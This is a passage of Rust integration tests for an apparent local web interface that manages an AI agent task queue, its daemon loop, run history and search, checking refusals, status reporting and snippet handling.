15804 TaskStatus::Running,
15805 TaskStatus::Done,
15806 TaskStatus::Failed,
15807 TaskStatus::Blocked,
15808 TaskStatus::Parked,
15809 ] {
15810 let mut stored = q.get(&t.id).unwrap();
15811 stored.status = status;
15812 q.put(&mut stored).unwrap();
15813 assert_eq!(
15814 change(1).await.err().unwrap().status,
15815 StatusCode::BAD_REQUEST
15816 );
15817 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15818 }
15819 }
15820
15821 #[tokio::test]
15822 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15823 let f = Fixture::start().await;
15824 let queue = f.queue();
15825 let mut task = Task::new(
15826 "in flight".to_owned(),
15827 "x".to_owned(),
15828 PathBuf::from("/repo/magi"),
15829 Source::Human,
15830 );
15831 task.start("20260902-140502-bbbb".to_owned());
15832 queue.put(&mut task).expect("file the task");
15833
15834 let res = f
15835 .post(
15836 &format!("/api/queue/{}/priority", task.id),
15837 Some(r#"{"priority":9}"#),
15838 )
15839 .await;
15840 assert_eq!(res.status, 400, "{}", res.body);
15841 assert!(
15842 res.json()["error"]
15843 .as_str()
15844 .is_some_and(|e| e.contains("running")),
15845 "{}",
15846 res.body
15847 );
15848 assert_eq!(
15849 queue.get(&task.id).expect("reload").priority,
15850 0,
15851 "the refused write must not partially apply"
15852 );
15853 }
15854
15855 #[tokio::test]
15856 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15857 let f = Fixture::start().await;
15858 let queue = f.queue();
15859 let mut task = Task::new(
15860 "old title".to_owned(),
15861 "old instruction".to_owned(),
15862 PathBuf::from("/repo/magi"),
15863 Source::Agent {
15864 run: "20260101-000000-beef".to_owned(),
15865 node: "implement".to_owned(),
15866 },
15867 );
15868 task.runs.push("20260101-000000-beef".to_owned());
15869 queue.put(&mut task).expect("file the task");
15870 let created_at = task.created_at;
15871
15872 let edited = f
15873 .post(
15874 &format!("/api/queue/{}/edit", task.id),
15875 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15876 )
15877 .await;
15878 assert_eq!(edited.status, 200, "{}", edited.body);
15879 let body = edited.json();
15880 assert_eq!(body["title"], "new title");
15881 assert_eq!(body["instruction"], "new instruction");
15882 assert_eq!(body["id"], task.id, "editing must not mint a new id");
15883 assert_eq!(body["created_at"], created_at.to_string());
15884 assert_eq!(
15885 body["source"]["kind"], "agent",
15886 "editing a task an agent filed must not turn it human: {body}"
15887 );
15888 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15889
15890 let reloaded = queue.get(&task.id).expect("reload");
15891 assert_eq!(reloaded.title, "new title");
15892 assert_eq!(reloaded.instruction, "new instruction");
15893 }
15894
15895 #[tokio::test]
15896 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15897 let tmp = TempDir::new().expect("tempdir");
15900 let repo = tmp.path().join("repo");
15901 std::fs::create_dir_all(&repo).expect("repo dir");
15902 let judge = MOCK_AGENT_TOML.replace(
15903 "printf ok",
15904 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15905 );
15906 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15907 let f = Fixture::with_repo(repo.clone()).await;
15908 let queue = f.queue();
15909 let mut owner = Task::new(
15910 "owner".to_owned(),
15911 "review it".to_owned(),
15912 repo.clone(),
15913 Source::Human,
15914 );
15915 owner.review_branch = Some("magi/ab12/A".to_owned());
15916 queue.put(&mut owner).expect("file the owner");
15917 let mut task = Task::new(
15918 "draft".to_owned(),
15919 "old".to_owned(),
15920 repo.clone(),
15921 Source::Human,
15922 );
15923 queue.put(&mut task).expect("file the draft");
15924 let url = format!("/api/queue/{}/edit", task.id);
15925
15926 let refused = f
15927 .post(
15928 &url,
15929 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15930 )
15931 .await;
15932 assert_eq!(refused.status, 409, "{}", refused.body);
15933 let msg = refused.json()["error"]
15934 .as_str()
15935 .unwrap_or_default()
15936 .to_owned();
15937 assert!(
15938 msg.contains("magi/ab12/A") && msg.contains("force"),
15939 "{msg}"
15940 );
15941 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15942
15943 let forced = f
15944 .post(
15945 &url,
15946 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15947 )
15948 .await;
15949 assert_eq!(forced.status, 200, "{}", forced.body);
15950 }
15951
15952 #[tokio::test]
15953 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15954 let f = Fixture::start().await;
15955 let queue = f.queue();
15956 let mut task = Task::new(
15957 "in flight".to_owned(),
15958 "do not touch".to_owned(),
15959 PathBuf::from("/repo/magi"),
15960 Source::Human,
15961 );
15962 task.start("20260902-140502-bbbb".to_owned());
15963 queue.put(&mut task).expect("file the task");
15964
15965 let res = f
15966 .post(
15967 &format!("/api/queue/{}/edit", task.id),
15968 Some(r#"{"title":"x","instruction":"y"}"#),
15969 )
15970 .await;
15971 assert_eq!(res.status, 400, "{}", res.body);
15972 assert!(
15973 res.json()["error"]
15974 .as_str()
15975 .is_some_and(|e| e.contains("running")),
15976 "{}",
15977 res.body
15978 );
15979 assert_eq!(
15980 queue.get(&task.id).expect("reload").instruction,
15981 "do not touch",
15982 "the refused edit must not change the file"
15983 );
15984 }
15985
15986 #[tokio::test]
15987 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15988 let f = Fixture::start().await;
15989 let queue = f.queue();
15990 let mut task = Task::new(
15991 "busy".to_owned(),
15992 "Running right now".to_owned(),
15993 PathBuf::from("/repo/magi"),
15994 Source::Human,
15995 );
15996 queue.put(&mut task).expect("file the task");
15997 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15998
15999 let priority = f
16000 .post(
16001 &format!("/api/queue/{}/priority", task.id),
16002 Some(r#"{"priority":9}"#),
16003 )
16004 .await;
16005 assert_eq!(priority.status, 409, "{}", priority.body);
16006
16007 let edit = f
16008 .post(
16009 &format!("/api/queue/{}/edit", task.id),
16010 Some(r#"{"title":"x","instruction":"y"}"#),
16011 )
16012 .await;
16013 assert_eq!(edit.status, 409, "{}", edit.body);
16014 }
16015
16016 #[tokio::test]
16017 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16018 let f = Fixture::start().await;
16019 let queue = f.queue();
16020 let mut task = Task::new(
16021 "shipped by hand".to_owned(),
16022 "merged outside the loop".to_owned(),
16023 PathBuf::from("/repo/magi"),
16024 Source::Agent {
16025 run: "20260101-000000-b455".to_owned(),
16026 node: "implement".to_owned(),
16027 },
16028 );
16029 task.runs.push("20260101-000000-b455".to_owned());
16030 task.runs.push("20260101-000000-9af4".to_owned());
16031 queue.put(&mut task).expect("file the task");
16032 let created_at = task.created_at;
16033
16034 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16035 assert_eq!(done.status, 200, "{}", done.body);
16036 assert_eq!(done.json()["status_str"], "done");
16037
16038 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16039 assert_eq!(
16040 reloaded.runs,
16041 ["20260101-000000-b455", "20260101-000000-9af4"]
16042 );
16043 assert_eq!(
16044 reloaded.source,
16045 Source::Agent {
16046 run: "20260101-000000-b455".to_owned(),
16047 node: "implement".to_owned(),
16048 }
16049 );
16050 assert_eq!(reloaded.created_at, created_at);
16051 }
16052
16053 #[tokio::test]
16054 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16055 let f = Fixture::start().await;
16060 let queue = f.queue();
16061 let mut task = Task::new(
16062 "landed while held".to_owned(),
16063 "x".to_owned(),
16064 PathBuf::from("/repo/magi"),
16065 Source::Human,
16066 );
16067 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16068 queue.put(&mut task).expect("file the held task");
16069
16070 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16071 assert_eq!(done.status, 200, "{}", done.body);
16072 assert_eq!(done.json()["status_str"], "done");
16073 assert!(
16074 done.json()["hold_reason"].is_null(),
16075 "a done task cannot still be waiting on something: {}",
16076 done.body
16077 );
16078 }
16079
16080 #[tokio::test]
16081 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16082 let f = Fixture::start().await;
16087 let queue = f.queue();
16088 let runs = f.runs();
16089 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16090 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16094
16095 let mut task = Task::new(
16096 "landed by hand".to_owned(),
16097 "x".to_owned(),
16098 PathBuf::from("/repo/magi"),
16099 Source::Human,
16100 );
16101 task.runs.push("20260101-000000-doa1".to_owned());
16102 task.runs.push("20260101-000000-doa2".to_owned());
16103 queue.put(&mut task).expect("file the task");
16104
16105 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16106 assert_eq!(done.status, 200, "{}", done.body);
16107
16108 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16109 .expect("run still on disk under this fixture's own home");
16110 assert_eq!(
16111 reloaded_run.status,
16112 RunStatus::Superseded,
16113 "closing the task by hand must relabel the earlier blocked attempt exactly \
16114 like the loop's own settle path does"
16115 );
16116 }
16117
16118 #[tokio::test]
16119 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16120 let f = Fixture::start().await;
16125 let queue = f.queue();
16126 let runs = f.runs();
16127 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16128 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16129
16130 let mut task = Task::new(
16131 "closed with nothing actually landed".to_owned(),
16132 "x".to_owned(),
16133 PathBuf::from("/repo/magi"),
16134 Source::Human,
16135 );
16136 task.runs.push("20260101-000000-dob1".to_owned());
16137 task.runs.push("20260101-000000-dob2".to_owned());
16138 queue.put(&mut task).expect("file the task");
16139
16140 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16141 assert_eq!(done.status, 200, "{}", done.body);
16142
16143 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16144 .expect("run still on disk under this fixture's own home");
16145 assert_eq!(
16146 reloaded_run.status,
16147 RunStatus::Blocked,
16148 "the last recorded attempt never landed, so the earlier one must not be \
16149 relabelled as superseded by it"
16150 );
16151 }
16152
16153 #[tokio::test]
16154 async fn unknown_ids_are_json_not_found_on_both_stores() {
16155 let f = Fixture::start().await;
16156
16157 let run = f.get("/api/runs/nosuchrun").await;
16158 let task = f.post("/api/queue/nosuchtask/hold", None).await;
16159
16160 assert_eq!(run.status, 404);
16161 assert_eq!(task.status, 404);
16162 assert!(
16163 run.json()["error"]
16164 .as_str()
16165 .is_some_and(|e| e.contains("run")),
16166 "the error names what was not found: {}",
16167 run.body
16168 );
16169 assert!(
16170 task.json()["error"]
16171 .as_str()
16172 .is_some_and(|e| e.contains("task")),
16173 "the error names what was not found: {}",
16174 task.body
16175 );
16176 }
16177
16178 #[tokio::test]
16179 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
16180 let f = Fixture::start().await;
16181
16182 let missing = f.get("/api/health").await.json();
16183 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
16184
16185 write_daemon(
16186 f.home.path(),
16187 Timestamp::now() - jiff::SignedDuration::from_secs(60),
16188 );
16189 let stale = f.get("/api/health").await.json();
16190 assert_eq!(
16191 stale["daemon"]["running"], false,
16192 "a minute without a heartbeat is a dead daemon, not a busy one"
16193 );
16194 assert!(
16195 stale["daemon"]["stale_for_secs"]
16196 .as_i64()
16197 .is_some_and(|s| s >= 55),
16198 "staleness is reported so the UI can say how long: {stale}"
16199 );
16200
16201 write_daemon(f.home.path(), Timestamp::now());
16202 let fresh = f.get("/api/health").await.json();
16203 assert_eq!(fresh["daemon"]["running"], true);
16204 assert_eq!(fresh["daemon"]["idle"], false);
16205 assert_eq!(fresh["daemon"]["pid"], 4242);
16206 assert_eq!(fresh["daemon"]["completed"], 7);
16207 assert_eq!(
16208 fresh["daemon"]["current"][0]["task"],
16209 "20260902-140501-aaaa"
16210 );
16211 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
16212 }
16213
16214 #[tokio::test]
16215 async fn the_loop_is_not_running_until_something_starts_it() {
16216 let f = Fixture::start().await;
16217
16218 let view = f.get("/api/loop").await.json();
16219 assert_eq!(view["running"], false);
16220 assert_eq!(
16221 view["owned"], false,
16222 "nobody owns a loop that does not exist: {view}"
16223 );
16224 assert_eq!(view["stopping"], false);
16225 assert_eq!(view["last_error"], Value::Null);
16226 assert_eq!(view["daemon"]["running"], false);
16227 assert_eq!(
16228 view["repo"], "/repo/magi",
16229 "the repository a start would use, named before it is started"
16230 );
16231 }
16232
16233 #[tokio::test]
16234 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
16235 let f = Fixture::start().await;
16236
16237 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16238 assert_eq!(res.status, 200, "{}", res.body);
16239 let view = res.json();
16240 assert_eq!(view["running"], true);
16241 assert_eq!(
16242 view["owned"], true,
16243 "the loop the UI started is the UI's own to stop: {view}"
16244 );
16245 assert_eq!(
16246 view["merge"],
16247 Value::Null,
16248 "no override was given, so each repository's own config decides"
16249 );
16250
16251 let health = f.get("/api/health").await.json();
16255 assert_eq!(health["loop"]["running"], true, "{health}");
16256 assert_eq!(health["loop"]["owned"], true, "{health}");
16257
16258 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16259 }
16260
16261 #[tokio::test]
16262 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
16263 let f = Fixture::start().await;
16264 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16265 assert_eq!(first.status, 200, "{}", first.body);
16266
16267 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16268 assert_eq!(
16269 again.status, 409,
16270 "two loops on one queue race for the same claims: {}",
16271 again.body
16272 );
16273 assert!(
16274 again.json()["error"]
16275 .as_str()
16276 .is_some_and(|e| e.contains("already running the loop")),
16277 "the refusal has to say why: {}",
16278 again.body
16279 );
16280 assert_eq!(
16281 f.get("/api/loop").await.json()["running"],
16282 true,
16283 "and the loop that was already running is untouched by it"
16284 );
16285
16286 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16287 }
16288
16289 #[tokio::test]
16290 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
16291 let f = Fixture::start().await;
16292 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16293
16294 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16295 assert_eq!(
16296 res.status, 200,
16297 "the answer must not wait for the loop: a run in flight is tens of \
16298 minutes and the operator is holding a phone: {}",
16299 res.body
16300 );
16301
16302 let view = settled(&f, |v| v["running"] == false).await;
16303 assert_eq!(view["owned"], false);
16304 assert_eq!(
16305 view["stopping"], false,
16306 "a loop that has stopped is not still stopping: {view}"
16307 );
16308 assert_eq!(
16309 view["last_error"],
16310 Value::Null,
16311 "a loop that was asked to stop did not fail: {view}"
16312 );
16313
16314 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16317 assert_eq!(twice.status, 200, "{}", twice.body);
16318 }
16319
16320 #[tokio::test]
16321 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
16322 let f = Fixture::start().await;
16323 write_daemon(f.home.path(), Timestamp::now());
16326
16327 let view = f.get("/api/loop").await.json();
16328 assert_eq!(view["running"], false, "not in this process: {view}");
16329 assert_eq!(view["owned"], false, "and not this process's to control");
16330 assert_eq!(
16331 view["daemon"]["running"], true,
16332 "but a loop is alive somewhere, which is what the UI must say"
16333 );
16334 assert_eq!(view["daemon"]["pid"], 4242);
16335
16336 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
16337 let res = f.post("/api/loop", Some(body)).await;
16338 assert_eq!(
16339 res.status, 409,
16340 "neither button may pretend to work on someone else's loop: {}",
16341 res.body
16342 );
16343 assert!(
16344 res.json()["error"]
16345 .as_str()
16346 .is_some_and(|e| e.contains("4242")),
16347 "the refusal has to name the process the operator must go to: {}",
16348 res.body
16349 );
16350 }
16351 assert_eq!(
16352 f.get("/api/loop").await.json()["running"],
16353 false,
16354 "and the refusal started nothing"
16355 );
16356 }
16357
16358 #[tokio::test]
16359 async fn a_stale_status_file_is_not_a_foreign_owner() {
16360 let f = Fixture::start().await;
16361 write_daemon(
16362 f.home.path(),
16363 Timestamp::now() - jiff::SignedDuration::from_secs(60),
16364 );
16365
16366 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16367 assert_eq!(
16368 res.status, 200,
16369 "a daemon killed a minute ago must not lock the loop out of its \
16370 own home for good: {}",
16371 res.body
16372 );
16373 assert_eq!(res.json()["running"], true);
16374
16375 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16376 }
16377
16378 #[tokio::test]
16379 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
16380 let f = Fixture::start().await;
16381 let before = f.get("/api/health").await.json()["loop_rev"]
16382 .as_u64()
16383 .expect("a loop revision");
16384
16385 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16386
16387 let after = f.get("/api/health").await.json()["loop_rev"]
16388 .as_u64()
16389 .expect("a loop revision");
16390 assert!(
16391 after > before,
16392 "the loop is in-process state, so this counter is the only thing \
16393 that tells a second device the first one started it: {before} -> \
16394 {after}"
16395 );
16396
16397 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16398 }
16399
16400 #[tokio::test]
16401 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
16402 let f = Fixture::with_loop(launch_broken).await;
16403
16404 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16405 assert_eq!(
16406 res.status, 200,
16407 "starting it is not the failure: {}",
16408 res.body
16409 );
16410
16411 let view = settled(&f, |v| v["last_error"].is_string()).await;
16412 assert_eq!(
16413 view["running"], false,
16414 "a loop that died must not read as running, or the operator has \
16415 nothing to press: {view}"
16416 );
16417 assert_eq!(view["owned"], false);
16418 assert!(
16419 view["last_error"]
16420 .as_str()
16421 .is_some_and(|e| e.contains("read-only file system")),
16422 "the phone is where a loop that died at 3am is visible: {view}"
16423 );
16424
16425 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16428 assert_eq!(again.status, 200, "{}", again.body);
16429 assert!(
16430 again.json()["last_error"]
16431 .as_str()
16432 .is_none_or(|e| !e.contains("read-only file system")),
16433 "a fresh start does not keep showing why the last one died: {}",
16434 again.body
16435 );
16436 }
16437
16438 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
16450 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
16451 let home = TempDir::new().expect("temp home");
16452 let runs = home.path().join("runs");
16453 std::fs::create_dir_all(&runs).expect("runs dir");
16454 let ui = Ui::new(
16455 Queue::at(home.path().join("queue")),
16456 Questions::at(home.path().join("questions")),
16457 Talks::at(home.path().join("talks")),
16458 runs,
16459 home.path().to_path_buf(),
16460 PathBuf::from("/repo/magi"),
16461 )
16462 .with_worktrees_root(home.path().join("wt"))
16463 .with_launch(launch_knocking_on_the_way_out);
16464 let looping = ui.looping();
16465 let turns = ui.turns();
16466 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16467 .await
16468 .expect("bind loopback");
16469 let addr = listener.local_addr().expect("local addr");
16470 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
16471 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16472
16473 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
16474 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
16475
16476 let bound = std::sync::Mutex::new(None);
16491 hand_over(
16492 home.path(),
16493 &looping,
16494 &turns,
16495 &|_: &[String]| Duration::from_secs(5),
16496 served,
16497 |_| {
16498 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
16499 let attempt = loop {
16500 match std::net::TcpListener::bind(addr) {
16501 Ok(l) => {
16502 drop(l);
16503 break Ok(());
16504 }
16505 Err(e)
16506 if e.kind() == std::io::ErrorKind::AddrInUse
16507 && std::time::Instant::now() < deadline =>
16508 {
16509 std::thread::sleep(std::time::Duration::from_millis(10));
16510 }
16511 Err(e) => break Err(e.to_string()),
16512 }
16513 };
16514 *bound.lock().expect("bound") = Some(attempt);
16515 Ok(1)
16516 },
16517 )
16518 .await
16519 .expect("hand over");
16520
16521 assert_eq!(
16522 *PARK_HEARD.lock().expect("park heard"),
16523 Some(200),
16524 "the deck must answer while the loop is parking"
16525 );
16526 let attempt = bound
16527 .lock()
16528 .expect("bound")
16529 .take()
16530 .expect("the successor was started");
16531 assert!(
16532 attempt.is_ok(),
16533 "and the address must be free by the time it is: {attempt:?}"
16534 );
16535 }
16536
16537 #[tokio::test]
16538 async fn a_newer_daemon_status_file_still_renders() {
16539 let f = Fixture::start().await;
16540 std::fs::write(
16543 f.home.path().join("daemon.json"),
16544 serde_json::json!({
16545 "schema": 2,
16546 "updated_at": Timestamp::now().to_string(),
16547 "idle": true,
16548 "surprise": { "nested": [1, 2, 3] },
16549 })
16550 .to_string(),
16551 )
16552 .expect("write daemon.json");
16553
16554 let health = f.get("/api/health").await;
16555
16556 assert_eq!(health.status, 200);
16557 assert_eq!(health.json()["daemon"]["running"], true);
16558 }
16559
16560 #[tokio::test]
16561 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16562 let f = Fixture::start().await;
16563 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16564 let broken = f.runs().join("20260902-140502-bad");
16565 std::fs::create_dir_all(&broken).expect("run dir");
16566 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16567
16568 let list = f.get("/api/runs").await;
16569 let detail = f.get("/api/runs/20260902-140502-bad").await;
16570
16571 assert_eq!(list.status, 200);
16572 let listed = list.json();
16573 let ids: Vec<&str> = listed
16574 .as_array()
16575 .expect("an array")
16576 .iter()
16577 .map(|r| r["id"].as_str().expect("an id"))
16578 .collect();
16579 assert_eq!(
16580 ids,
16581 vec!["20260902-140501-good"],
16582 "one unreadable run must not cost the operator the whole history"
16583 );
16584 assert_eq!(detail.status, 500);
16585 assert!(
16586 detail.json()["error"]
16587 .as_str()
16588 .is_some_and(|e| e.contains("run.json")),
16589 "the failure names the file to look at: {}",
16590 detail.body
16591 );
16592 let health = f.get("/api/health").await;
16596 assert_eq!(health.json()["runs_unreadable"], 1);
16597 }
16598
16599 #[tokio::test]
16601 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16602 let f = Fixture::start().await;
16603 let runs = f.runs();
16604 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16605 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16606 let path = runs.join("20260902-140502-bbbb").join("run.json");
16609 let mut v: serde_json::Value =
16610 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16611 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16612 std::fs::write(&path, v.to_string()).unwrap();
16613 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16614 std::fs::write(
16615 runs.join("20260902-140503-cccc").join("run.json"),
16616 "{ not json",
16617 )
16618 .unwrap();
16619
16620 let res = f.get("/api/search?scope=runs&q=quokka").await;
16621 assert_eq!(res.status, 200, "{}", res.body);
16622 let v = res.json();
16623 assert_eq!(v["total"], 1, "{v}");
16624 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16625 assert_eq!(v["hits"][0]["field"], "text");
16626 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16627 let parts = v["hits"][0]["snippet"].as_array().unwrap();
16628 assert!(
16629 parts
16630 .iter()
16631 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16632 "{v}"
16633 );
16634 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16635 assert_eq!(
16636 flat, "The Quokka leaks across threads",
16637 "whitespace is collapsed"
16638 );
16639
16640 let both = f
16642 .get("/api/search?scope=runs&q=MOBILE%20quokka")
16643 .await
16644 .json();
16645 assert_eq!(both["total"], 1, "{both}");
16646 let neither = f
16647 .get("/api/search?scope=runs&q=quokka%20zebra")
16648 .await
16649 .json();
16650 assert_eq!(neither["total"], 0, "{neither}");
16651 let stmt = f
16653 .get("/api/search?scope=runs&q=mobile%20first")
16654 .await
16655 .json();
16656 assert_eq!(stmt["total"], 2, "{stmt}");
16657 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16658 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16659 }
16660
16661 #[test]
16662 fn snippet_ignores_terms_longer_than_the_field() {
16663 let terms = ["ok".to_owned(), "elephant".to_owned()];
16664 let parts = snippet_of("ok", &terms);
16665 assert_eq!(
16666 parts,
16667 vec![SnippetPart {
16668 text: "ok".to_owned(),
16669 hit: true
16670 }]
16671 );
16672 }
16673
16674 #[test]
16675 fn snippet_marks_matches_longer_than_the_window() {
16676 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16677 let hit_len = |parts: &[SnippetPart]| -> usize {
16678 parts
16679 .iter()
16680 .filter(|p| p.hit)
16681 .map(|p| p.text.chars().count())
16682 .sum()
16683 };
16684 let total =
16685 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16686
16687 let long = "a".repeat(120);
16688 let parts = snippet_of(&long, std::slice::from_ref(&long));
16689 assert!(hit_len(&parts) > 0, "{parts:?}");
16690 assert!(total(&parts) <= cap);
16691
16692 let ja = "あ".repeat(130);
16693 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16694 assert!(hit_len(&parts) > 0, "{parts:?}");
16695 assert!(total(&parts) <= cap);
16696
16697 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16699 let term = format!("ab{}", "c".repeat(100));
16700 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16701 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16702 assert!(total(&parts) <= cap);
16703
16704 let text = format!("{}z", "a".repeat(119));
16706 let parts = snippet_of(&text, &["a".repeat(120)]);
16707 assert_eq!(hit_len(&parts), 0, "{parts:?}");
16708 }
16709
16710 #[tokio::test]
16711 async fn search_caps_hits_and_snippet_length() {
16712 let f = Fixture::start().await;
16713 let runs = f.runs();
16714 for n in 0..(SEARCH_MAX_HITS + 5) {
16715 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16716 }
16717 let v = f.get("/api/search?scope=runs&q=web").await.json();
16718 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16719 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16720 assert_eq!(v["truncated"], true);
16721 assert!(
16723 v["hits"]
16724 .as_array()
16725 .unwrap()
16726 .iter()
16727 .all(|h| h["run"]["status"] == "merged")
16728 );
16729
16730 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16731 let parts = snippet_of(&long, &["needle".to_owned()]);
16732 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16733 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16734 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16735 }
16736
16737 #[tokio::test]
16738 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16739 let f = Fixture::start().await;
16740 let queue = f.queue();
16741 let mut t = Task::new(
16742 "short title".to_owned(),
16743 "line one\nthe hidden Armadillo detail".to_owned(),
16744 PathBuf::from("/repo/magi"),
16745 Source::Agent {
16746 run: "r1".to_owned(),
16747 node: "chat".to_owned(),
16748 },
16749 );
16750 t.last_error = Some("disk full on /tmp".to_owned());
16751 queue.put(&mut t).expect("file the task");
16752
16753 for (q, want) in [
16754 ("armadillo", 1),
16755 ("disk%20FULL", 1),
16756 ("chat", 1),
16757 ("queued", 1),
16758 ("short%20nothing", 0),
16759 ] {
16760 let v = f
16761 .get(&format!("/api/search?scope=tasks&q={q}"))
16762 .await
16763 .json();
16764 assert_eq!(v["total"], want, "{q}: {v}");
16765 }
16766 for bad in [
16767 "/api/search?scope=tasks&q=",
16768 "/api/search?scope=tasks&q=%20",
16769 "/api/search?scope=chats&q=",
16770 "/api/search?scope=chats&q=%20",
16771 "/api/search?scope=nope&q=a",
16772 "/api/search?q=a",
16773 ] {
16774 assert_eq!(f.get(bad).await.status, 400, "{bad}");
16775 }
16776 }
16777
16778 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16780 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16781 .expect("seat value");
16782 let turns: Vec<serde_json::Value> = turns
16783 .iter()
16784 .map(|(who, body)| {
16785 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16786 })
16787 .collect();
16788 let doc = serde_json::json!({
16789 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16790 "status": status, "turns": turns,
16791 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16792 "seat": seat,
16793 });
16794 let dir = f.home.path().join("talks");
16795 std::fs::create_dir_all(&dir).expect("talks dir");
16796 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16797 }
16798
16799 #[tokio::test]
16800 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16801 let f = Fixture::start().await;
16802 write_talk(
16803 &f,
16804 "20260901-000001-aaaa",
16805 "open",
16806 &[
16807 (
16808 "operator",
16809 "\n Why does the Pangolin cache expire?\nsecond line",
16810 ),
16811 ("agent", "Because the TTL is thirty seconds."),
16812 ],
16813 );
16814 write_talk(
